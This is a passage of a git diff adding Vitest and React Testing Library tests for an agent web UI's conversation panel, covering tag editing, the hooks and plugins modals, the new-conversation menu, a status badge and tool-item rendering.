+    expect(onConfirm).toHaveBeenCalledWith({ work: "" });
+  });
+
+  it("lets a bare tag be removed (merge must not resurrect it)", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{ work: "", acpserver: "claude-code" }}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    // The bare tag is listed alongside valued tags…
+    expect(screen.getByTestId("edit-tag-row-work")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("remove-tag-work"));
+    await user.click(screen.getByTestId("confirm-button"));
+
+    // …and its removal sticks — only the reserved tag is preserved.
+    expect(onConfirm).toHaveBeenCalledWith({ acpserver: "claude-code" });
+  });
+
+  it("adds the tag when Enter is pressed in either input", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={vi.fn()}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    // Enter in the value input.
+    await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+    await user.type(screen.getByTestId("new-tag-value-input"), "alice{Enter}");
+    expect(screen.getByTestId("edit-tag-row-owner")).toBeInTheDocument();
+    // Focus returns to the key box for the next tag, not the value box.
+    expect(screen.getByTestId("new-tag-key-input")).toHaveFocus();
+
+    // Enter in the key input (bare tag).
+    await user.type(screen.getByTestId("new-tag-key-input"), "work{Enter}");
+    expect(screen.getByTestId("edit-tag-row-work")).toBeInTheDocument();
+  });
+
+  it("commits a typed-but-unadded tag when Save is pressed", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{ acpserver: "claude-code" }}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    // Typing a tag and going straight for Save is the natural flow — Add is an
+    // affordance for entering several, not a toll on entering one. Dropping
+    // the pending row here loses work with no warning.
+    await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+    await user.type(screen.getByTestId("new-tag-value-input"), "alice");
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(onConfirm).toHaveBeenCalledWith({
+      acpserver: "claude-code",
+      owner: "alice",
+    });
+  });
+
+  it("commits a typed-but-unadded bare tag when Save is pressed", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.type(screen.getByTestId("new-tag-key-input"), "work");
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(onConfirm).toHaveBeenCalledWith({ work: "" });
+  });
+
+  it("blocks Save on an invalid pending tag instead of dropping it", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.type(screen.getByTestId("new-tag-key-input"), "My Project");
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(screen.getByTestId("edit-tags-error")).toBeInTheDocument();
+    expect(onConfirm).not.toHaveBeenCalled();
+    // The typed text survives so it can be corrected.
+    expect(screen.getByTestId("new-tag-key-input")).toHaveValue("My Project");
+  });
+
+  it("blocks Save when a value was typed without a key", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.type(screen.getByTestId("new-tag-value-input"), "alice");
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(screen.getByTestId("edit-tags-error")).toBeInTheDocument();
+    expect(onConfirm).not.toHaveBeenCalled();
+  });
+
+  it("saves normally when both inputs are empty", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{ origin: "slack" }}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(onConfirm).toHaveBeenCalledWith({ origin: "slack" });
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/hooks-modal.test.tsx b/__tests__/components/features/conversation-panel/hooks-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8624b8ef7ac61090ca05a08da5fec71006ca1864
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/hooks-modal.test.tsx
@@ -0,0 +1,303 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import React from "react";
+import { HookEventItem } from "#/components/features/conversation-panel/hook-event-item";
+import { HooksEmptyState } from "#/components/features/conversation-panel/hooks-empty-state";
+import { HooksLoadingState } from "#/components/features/conversation-panel/hooks-loading-state";
+import { HooksModalHeader } from "#/components/features/conversation-panel/hooks-modal-header";
+import { HookEvent } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string, params?: Record<string, unknown>) => {
+        if (key === "HOOKS_MODAL$HOOK_COUNT") {
+          const count = Number(params?.count ?? 0);
+          return count === 1 ? `${count} hook` : `${count} hooks`;
+        }
+
+        const translations: Record<string, string> = {
+          HOOKS_MODAL$TITLE: "Available Hooks",
+          HOOKS_MODAL$WARNING: "Hooks warning text",
+          HOOKS_MODAL$EVENT_PRE_TOOL_USE: "Pre Tool Use",
+          HOOKS_MODAL$EVENT_POST_TOOL_USE: "Post Tool Use",
+          HOOKS_MODAL$EVENT_USER_PROMPT_SUBMIT: "User Prompt Submit",
+          HOOKS_MODAL$EVENT_SESSION_START: "Session Start",
+          HOOKS_MODAL$EVENT_SESSION_END: "Session End",
+          HOOKS_MODAL$EVENT_STOP: "Stop",
+          HOOKS_MODAL$MATCHER: "Matcher",
+          HOOKS_MODAL$COMMANDS: "Commands",
+          HOOKS_MODAL$TYPE: `Type: ${params?.type ?? ""}`,
+          HOOKS_MODAL$TIMEOUT: `Timeout: ${params?.timeout ?? 0}s`,
+          HOOKS_MODAL$ASYNC: "Async",
+          COMMON$FETCH_ERROR: "Failed to fetch data",
+          CONVERSATION$NO_HOOKS: "No hooks configured",
+          BUTTON$REFRESH: "Refresh",
+          BUTTON$CLOSE: "Close",
+        };
+        return translations[key] || key;
+      },
+      i18n: {
+        changeLanguage: () => new Promise(() => {}),
+      },
+    }),
+  };
+});
+
+describe("HooksLoadingState", () => {
+  it("should render loading spinner", () => {
+    render(<HooksLoadingState />);
+    const spinner = document.querySelector(".animate-spin");
+    expect(spinner).toBeInTheDocument();
+  });
+});
+
+describe("HooksEmptyState", () => {
+  it("should render no hooks message when not error", () => {
+    render(<HooksEmptyState isError={false} />);
+    expect(screen.getByText("No hooks configured")).toBeInTheDocument();
+  });
+
+  it("should render error message when isError is true", () => {
+    render(<HooksEmptyState isError={true} />);
+    expect(screen.getByText("Failed to fetch data")).toBeInTheDocument();
+  });
+});
+
+describe("HooksModalHeader", () => {
+  const defaultProps = {
+    isLoading: false,
+    isRefetching: false,
+    onRefresh: vi.fn(),
+    onClose: vi.fn(),
+  };
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render title and warning", () => {
+    render(<HooksModalHeader {...defaultProps} />);
+    expect(screen.getByText("Available Hooks")).toBeInTheDocument();
+    expect(screen.getByText("Hooks warning text")).toBeInTheDocument();
+  });
+
+  it("should render icon-only refresh button with accessible label", () => {
+    render(<HooksModalHeader {...defaultProps} />);
+    const refreshButton = screen.getByTestId("refresh-hooks");
+    expect(refreshButton).toBeInTheDocument();
+    expect(refreshButton).toHaveAttribute("aria-label", "Refresh");
+    expect(refreshButton).not.toHaveTextContent("Refresh");
+  });
+
+  it("should render close button", () => {
+    render(<HooksModalHeader {...defaultProps} />);
+    expect(screen.getByTestId("close-hooks-modal")).toBeInTheDocument();
+  });
+
+  it("should call onRefresh when refresh button is clicked", async () => {
+    const user = userEvent.setup();
+    const onRefresh = vi.fn();
+    render(<HooksModalHeader {...defaultProps} onRefresh={onRefresh} />);
+
+    await user.click(screen.getByTestId("refresh-hooks"));
+    expect(onRefresh).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call onClose when close button is clicked", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    render(<HooksModalHeader {...defaultProps} onClose={onClose} />);
+
+    await user.click(screen.getByTestId("close-hooks-modal"));
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("should disable refresh button when loading", () => {
+    render(<HooksModalHeader {...defaultProps} isLoading={true} />);
+    expect(screen.getByTestId("refresh-hooks")).toBeDisabled();
+  });
+
+  it("should disable refresh button when refetching", () => {
+    render(<HooksModalHeader {...defaultProps} isRefetching={true} />);
+    expect(screen.getByTestId("refresh-hooks")).toBeDisabled();
+  });
+});
+
+describe("HookEventItem", () => {
+  const mockHookEvent: HookEvent = {
+    event_type: "stop",
+    matchers: [
+      {
+        matcher: "*",
+        hooks: [
+          {
+            type: "command",
+            command: ".openhands/hooks/on_stop.sh",
+            timeout: 30,
+            async: true,
+          },
+        ],
+      },
+    ],
+  };
+
+  const defaultProps = {
+    hookEvent: mockHookEvent,
+    isExpanded: false,
+    onToggle: vi.fn(),
+  };
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render event type label using i18n", () => {
+    render(<HookEventItem {...defaultProps} />);
+    expect(screen.getByText("Stop")).toBeInTheDocument();
+  });
+
+  it("should render hook count", () => {
+    render(<HookEventItem {...defaultProps} />);
+    expect(screen.getByText("1 hook")).toBeInTheDocument();
+  });
+
+  it("should call onToggle when clicked", async () => {
+    const user = userEvent.setup();
+    const onToggle = vi.fn();
+    render(<HookEventItem {...defaultProps} onToggle={onToggle} />);
+
+    await user.click(screen.getByRole("button"));
+    expect(onToggle).toHaveBeenCalledWith("stop");
+  });
+
+  it("should show collapsed state by default", () => {
+    render(<HookEventItem {...defaultProps} isExpanded={false} />);
+    expect(screen.queryByText("*")).not.toBeInTheDocument();
+  });
+
+  it("should show expanded state with matcher content", () => {
+    render(<HookEventItem {...defaultProps} isExpanded={true} />);
+    expect(screen.getByText("*")).toBeInTheDocument();
+  });
+
+  it("should render async badge for async hooks", () => {
+    render(<HookEventItem {...defaultProps} isExpanded={true} />);
+    expect(screen.getByText("Async")).toBeInTheDocument();
+  });
+
+  it("should render different event types with correct i18n labels", () => {
+    const eventTypes = [
+      { type: "pre_tool_use", label: "Pre Tool Use" },
+      { type: "post_tool_use", label: "Post Tool Use" },
+      { type: "user_prompt_submit", label: "User Prompt Submit" },
+      { type: "session_start", label: "Session Start" },
+      { type: "session_end", label: "Session End" },
+      { type: "stop", label: "Stop" },
+    ];
+
+    eventTypes.forEach(({ type, label }) => {
+      const { unmount } = render(
+        <HookEventItem
+          {...defaultProps}
+          hookEvent={{ ...mockHookEvent, event_type: type }}
+        />,
+      );
+      expect(screen.getByText(label)).toBeInTheDocument();
+      unmount();
+    });
+  });
+
+  it("should fallback to event_type when no i18n key exists", () => {
+    render(
+      <HookEventItem
+        {...defaultProps}
+        hookEvent={{ ...mockHookEvent, event_type: "unknown_event" }}
+      />,
+    );
+    expect(screen.getByText("unknown_event")).toBeInTheDocument();
+  });
+
+  it("should not crash when a matcher has undefined hooks", () => {
+    const hookEventWithUndefinedHooks: HookEvent = {
+      event_type: "stop",
+      matchers: [
+        {
+          matcher: "*",
+          hooks: undefined,
+        },
+      ],
+    };
+
+    expect(() =>
+      render(
+        <HookEventItem
+          {...defaultProps}
+          hookEvent={hookEventWithUndefinedHooks}
+        />,
+      ),
+    ).not.toThrow();
+
+    expect(screen.getByText("0 hooks")).toBeInTheDocument();
+  });
+
+  it("should not crash when a matcher has undefined hooks in expanded state", () => {
+    const hookEventWithUndefinedHooks: HookEvent = {
+      event_type: "stop",
+      matchers: [
+        {
+          matcher: "*",
+          hooks: undefined,
+        },
+      ],
+    };
+
+    expect(() =>
+      render(
+        <HookEventItem
+          {...defaultProps}
+          hookEvent={hookEventWithUndefinedHooks}
+          isExpanded={true}
+        />,
+      ),
+    ).not.toThrow();
+  });
+
+  it("should handle a mix of matchers with and without hooks", () => {
+    const mixedHookEvent: HookEvent = {
+      event_type: "pre_tool_use",
+      matchers: [
+        {
+          matcher: "terminal",
+          hooks: [
+            {
+              type: "command",
+              command: "check.sh",
+              timeout: 10,
+            },
+          ],
+        },
+        {
+          matcher: "browser",
+          hooks: undefined,
+        },
+      ],
+    };
+
+    expect(() =>
+      render(
+        <HookEventItem
+          {...defaultProps}
+          hookEvent={mixedHookEvent}
+          isExpanded={true}
+        />,
+      ),
+    ).not.toThrow();
+
+    expect(screen.getByText("1 hook")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx b/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d389247cdcdef5f1012d1c7dfcf78adab01edcc4
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx
@@ -0,0 +1,261 @@
+import { screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import WorkspacesService from "#/api/workspaces-service/workspaces-service.api";
+import { LocalNewConversationMenu } from "#/components/features/conversation-panel/local-new-conversation-menu";
+import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace";
+
+const { mockSearchSubdirectories } = vi.hoisted(() => ({
+  mockSearchSubdirectories: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackConversationCreated: vi.fn(),
+  }),
+}));
+
+vi.mock("@openhands/typescript-client/clients", async () => {
+  const actual = await vi.importActual<
+    typeof import("@openhands/typescript-client/clients")
+  >("@openhands/typescript-client/clients");
+  return {
+    ...actual,
+    FileClient: vi.fn(function FileClientMock() {
+      return { searchSubdirectories: mockSearchSubdirectories };
+    }),
+  };
+});
+
+vi.mock(
+  "#/components/features/home/workspace-dropdown/folder-browser-modal",
+  () => ({
+    FolderBrowserModal: ({ isOpen }: { isOpen: boolean }) =>
+      isOpen ? <div data-testid="folder-browser-modal" /> : null,
+  }),
+);
+
+vi.mock(
+  "#/components/features/home/workspace-dropdown/manage-workspaces-modal",
+  () => ({
+    ManageWorkspacesModal: ({ isOpen }: { isOpen: boolean }) =>
+      isOpen ? <div data-testid="manage-workspaces-modal" /> : null,
+  }),
+);
+
+const makeStartTask = (conversationId: string) => ({
+  id: "task-id",
+  created_by_user_id: null,
+  status: "READY" as const,
+  detail: null,
+  app_conversation_id: conversationId,
+  agent_server_url: "http://agent-server.local",
+  request: {
+    initial_message: null,
+    processors: [],
+    llm_model: null,
+    selected_repository: null,
+    selected_branch: null,
+    git_provider: "github" as const,
+    suggested_task: null,
+    title: null,
+    trigger: null,
+    pr_number: [],
+    parent_conversation_id: null,
+    agent_type: "default" as const,
+  },
+  created_at: new Date().toISOString(),
+  updated_at: new Date().toISOString(),
+});
+
+const renderMenu = ({
+  workspaces = [],
+  workspaceParents = [],
+  navigate,
+}: {
+  workspaces?: LocalWorkspace[];
+  workspaceParents?: LocalWorkspaceParent[];
+  navigate?: (to: string) => void;
+} = {}) => {
+  vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+    workspaces,
+    workspaceParents,
+  });
+  return renderWithProviders(
+    <LocalNewConversationMenu
+      popoverClassName="left-0 right-0"
+      trigger={(tp) => (
+        <button type="button" data-testid="new-conversation-button" {...tp}>
+          + New conversation
+        </button>
+      )}
+    />,
+    { navigation: { navigate, currentPath: "/conversations" } },
+  );
+};
+
+describe("LocalNewConversationMenu", () => {
+  beforeEach(() => {
+    mockSearchSubdirectories.mockReset();
+    mockSearchSubdirectories.mockResolvedValue({
+      items: [],
+      next_page_id: null,
+    });
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("shows a divider above the workspace footer actions", async () => {
+    const user = userEvent.setup();
+    renderMenu();
+
+    await user.click(screen.getByTestId("new-conversation-button"));
+
+    expect(
+      screen.getByTestId("new-conversation-menu-footer-divider"),
+    ).toBeInTheDocument();
+  });
+
+  it("toggles the popover and dismisses it on outside click", async () => {
+    // Arrange
+    renderMenu();
+    const user = userEvent.setup();
+
+    // Act + Assert: open
+    await user.click(screen.getByTestId("new-conversation-button"));
+    expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+
+    // Act + Assert: outside click closes
+    await user.click(document.body);
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("new-conversation-popover"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("dismisses the popover on Escape", async () => {
+    // Arrange
+    renderMenu();
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("new-conversation-button"));
+    expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+
+    // Act
+    await user.keyboard("{Escape}");
+
+    // Assert
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("new-conversation-popover"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("launches a conversation for the selected workspace", async () => {
+    // Arrange
+    const navigate = vi.fn();
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue(makeStartTask("conv-123"));
+    renderMenu({
+      workspaces: [
+        {
+          id: "/workspace/project/repo1",
+          name: "repo1",
+          path: "/workspace/project/repo1",
+        },
+      ],
+      navigate,
+    });
+    const user = userEvent.setup();
+
+    // Act
+    await user.click(screen.getByTestId("new-conversation-button"));
+    await user.click(await screen.findByRole("button", { name: "repo1" }));
+
+    // Assert
+    await waitFor(() => {
+      expect(createSpy).toHaveBeenCalledWith({
+        metadata: null,
+        workingDirOverride: "/workspace/project/repo1",
+      });
+    });
+    await waitFor(() => {
+      expect(navigate).toHaveBeenCalledWith("/conversations/conv-123");
+    });
+  });
+
+  it("disables launch actions while a conversation is being created", async () => {
+    // Arrange
+    vi.spyOn(
+      AgentServerConversationService,
+      "createConversation",
+    ).mockImplementation(() => new Promise(() => {}));
+    renderMenu({
+      workspaces: [
+        {
+          id: "/workspace/project/repo1",
+          name: "repo1",
+          path: "/workspace/project/repo1",
+        },
+      ],
+    });
+    const user = userEvent.setup();
+
+    // Act
+    await user.click(screen.getByTestId("new-conversation-button"));
+    await user.click(screen.getByTestId("launch-no-workspace"));
+
+    // Assert
+    await waitFor(() => {
+      expect(screen.getByTestId("launch-no-workspace")).toBeDisabled();
+      expect(screen.getByTestId("launch-workspace")).toBeDisabled();
+    });
+  });
+
+  it("keeps the popover open while a workspace modal is open", async () => {
+    // Arrange — add-modal exercises the shared `keepPopoverOpenOnMouseDown`
+    // handler; manage-modal uses the same handler so we don't duplicate.
+    renderMenu();
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("new-conversation-button"));
+
+    // Act
+    await user.click(screen.getByTestId("add-workspaces-button"));
+
+    // Assert
+    expect(screen.getByTestId("folder-browser-modal")).toBeInTheDocument();
+    await user.click(document.body);
+    expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+  });
+
+  it("keeps the popover open when conversation creation fails", async () => {
+    // Arrange
+    const navigate = vi.fn();
+    const createSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockRejectedValue(new Error("create failed"));
+    renderMenu({ navigate });
+    const user = userEvent.setup();
+
+    // Act
+    await user.click(screen.getByTestId("new-conversation-button"));
+    await user.click(screen.getByTestId("launch-no-workspace"));
+
+    // Assert
+    await waitFor(() => {
+      expect(createSpy).toHaveBeenCalledTimes(1);
+    });
+    await waitFor(() => {
+      expect(screen.getByTestId("launch-no-workspace")).not.toBeDisabled();
+    });
+    expect(navigate).not.toHaveBeenCalled();
+    expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/plugins-modal.test.tsx b/__tests__/components/features/conversation-panel/plugins-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..46e88c6ed086f6be381a26c80b44ebd46c3b8d10
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/plugins-modal.test.tsx
@@ -0,0 +1,103 @@
+import { screen } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import {
+  removeStoredConversationMetadata,
+  setStoredConversationMetadata,
+} from "#/api/conversation-metadata-store";
+import { PluginsModal } from "#/components/features/conversation-panel/plugins-modal";
+
+const CONVERSATION_ID = "conv-plugins-modal";
+
+afterEach(() => removeStoredConversationMetadata(CONVERSATION_ID));
+
+function renderModal() {
+  return renderWithProviders(<PluginsModal onClose={vi.fn()} />, {
+    navigation: { conversationId: CONVERSATION_ID },
+  });
+}
+
+describe("PluginsModal", () => {
+  it("lists the plugins attached to the conversation with their source and ref", () => {
+    setStoredConversationMetadata(CONVERSATION_ID, {
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+      plugins: [
+        {
+          source: "github:OpenHands/extensions",
+          ref: "main",
+          repo_path: "plugins/city-weather",
+        },
+      ],
+    });
+
+    renderModal();
+
+    expect(
+      screen.getByTestId("active-plugin-city-weather"),
+    ).toBeInTheDocument();
+    expect(screen.getByText("OpenHands/extensions @ main")).toBeInTheDocument();
+  });
+
+  it("shows the plugin's name when the source is not a useful label", () => {
+    // A locally-installed plugin: the source ("local") can't be derived into a
+    // meaningful name, so the explicit name must be displayed.
+    setStoredConversationMetadata(CONVERSATION_ID, {
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+      plugins: [
+        { source: "local", ref: null, repo_path: null, name: "city-weather" },
+      ],
+    });
+
+    renderModal();
+
+    expect(
+      screen.getByTestId("active-plugin-city-weather"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders a normalized 'Local' label for locally-installed plugins instead of the raw source", () => {
+    // The agent-server records local installs two ways: the "local" sentinel
+    // and an absolute filesystem path. Both should read the same, and the path
+    // (which leaks the home dir) must not be shown verbatim.
+    setStoredConversationMetadata(CONVERSATION_ID, {
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+      plugins: [
+        { source: "local", ref: null, repo_path: null, name: "city-weather" },
+        {
+          source:
+            "/Users/me/.openhands/cache/skills/public-skills/plugins/magic-test",
+          ref: null,
+          repo_path: null,
+          name: "magic-test",
+        },
+      ],
+    });
+
+    renderModal();
+
+    expect(screen.getAllByText("PLUGINS_MODAL$SOURCE_LOCAL")).toHaveLength(2);
+    expect(
+      screen.queryByText(
+        "/Users/me/.openhands/cache/skills/public-skills/plugins/magic-test",
+      ),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the empty state when no plugins are attached", () => {
+    setStoredConversationMetadata(CONVERSATION_ID, {
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+    });
+
+    renderModal();
+
+    expect(screen.getByText("PLUGINS_MODAL$EMPTY")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx b/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b317a67982b8d0315ef667c7b9c7bc0f0b6ea78b
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/start-task-status-badge.test.tsx
@@ -0,0 +1,31 @@
+import { screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import { StartTaskStatusBadge } from "#/components/features/conversation-panel/start-task-card/start-task-status-badge";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("StartTaskStatusBadge", () => {
+  // react-i18next is globally mocked so `t` echoes the key; asserting the key
+  // proves the label is resolved through i18n rather than a raw enum transform.
+  it.each([
+    ["STARTING_CONVERSATION", I18nKey.CONVERSATION$STARTING_CONVERSATION],
+    ["READY", I18nKey.CONVERSATION$READY],
+    ["ERROR", I18nKey.COMMON$ERROR],
+  ] as const)(
+    "localizes the label for the %s status",
+    (taskStatus, expectedKey) => {
+      renderWithProviders(<StartTaskStatusBadge taskStatus={taskStatus} />);
+
+      expect(screen.getByText(expectedKey)).toBeInTheDocument();
+    },
+  );
+
+  it("renders nothing for the WORKING status", () => {
+    const { container } = renderWithProviders(
+      <StartTaskStatusBadge taskStatus="WORKING" />,
+    );
+
+    expect(container).toBeEmptyDOMElement();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx b/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e0e71bda881fa2db9cc50cffb44c23a5221f8f71
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/system-message-modal/tool-item.test.tsx
@@ -0,0 +1,551 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ToolItem } from "#/components/features/conversation-panel/system-message-modal/tool-item";
+import type { ChatCompletionToolParam } from "#/types/agent-server/core";
+
+describe("ToolItem", () => {
+  const user = userEvent.setup();
+  const onToggleMock = vi.fn();
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  describe("Name/Title Extraction", () => {
+    it("should display name from V0 format function.name", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "Test description",
+          parameters: {},
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toggleButton = screen.getByTestId("toggle-button");
+      expect(toggleButton).toHaveTextContent("test_function");
+    });
+
+    it("should display title from V1 format root level", () => {
+      // Arrange
+      const v1Tool = {
+        title: "V1 Tool Title",
+        description: "V1 description",
+        parameters: { type: "object" },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v1Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toggleButton = screen.getByTestId("toggle-button");
+      expect(toggleButton).toHaveTextContent("V1 Tool Title");
+    });
+
+    it("should prioritize root title over annotations.title in V1 format", () => {
+      // Arrange
+      const v1Tool = {
+        title: "Root Title",
+        annotations: {
+          title: "Annotations Title",
+        },
+        description: "Description",
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v1Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toggleButton = screen.getByTestId("toggle-button");
+      expect(toggleButton).toHaveTextContent("Root Title");
+    });
+
+    it("should fallback to annotations.title when root title is missing", () => {
+      // Arrange
+      const v1Tool = {
+        annotations: {
+          title: "Annotations Title",
+        },
+        description: "Description",
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v1Tool}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toggleButton = screen.getByTestId("toggle-button");
+      expect(toggleButton).toHaveTextContent("Annotations Title");
+    });
+
+    it("should display empty string when no name or title is available", () => {
+      // Arrange
+      const toolWithoutName = {
+        description: "Description only",
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={toolWithoutName}
+          index={0}
+          isExpanded={false}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const toggleButton = screen.getByTestId("toggle-button");
+      expect(toggleButton).toHaveTextContent("");
+    });
+  });
+
+  describe("Description Extraction", () => {
+    it("should display description from V0 format function.description when expanded", () => {
+      // Arrange
+      const v0Tool: ChatCompletionToolParam = {
+        type: "function",
+        function: {
+          name: "test_function",
+          description: "V0 function description",
+          parameters: {},
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v0Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const markdownRenderer = screen.getByTestId("markdown-renderer");
+      expect(markdownRenderer).toHaveTextContent("V0 function description");
+    });
+
+    it("should display description from V1 format root level when expanded", () => {
+      // Arrange
+      const v1Tool = {
+        title: "V1 Tool",
+        description: "V1 root description",
+        parameters: {},
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v1Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const markdownRenderer = screen.getByTestId("markdown-renderer");
+      expect(markdownRenderer).toHaveTextContent("V1 root description");
+    });
+
+    it("should prioritize root description over function.description in V1 format", () => {
+      // Arrange
+      const v1Tool = {
+        title: "V1 Tool",
+        description: "Root description",
+        function: {
+          description: "Function description",
+        },
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={v1Tool}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const markdownRenderer = screen.getByTestId("markdown-renderer");
+      expect(markdownRenderer).toHaveTextContent("Root description");
+    });
+
+    it("should display empty string when no description is available", () => {
+      // Arrange
+      const toolWithoutDescription = {
+        title: "Tool Name",
+      };
+
+      // Act
+      renderWithProviders(
+        <ToolItem
+          tool={toolWithoutDescription}
+          index={0}
+          isExpanded={true}
+          onToggle={onToggleMock}
+        />,
+      );
+
+      // Assert
+      const markdownRenderer = screen.getByTestId("markdown-renderer");
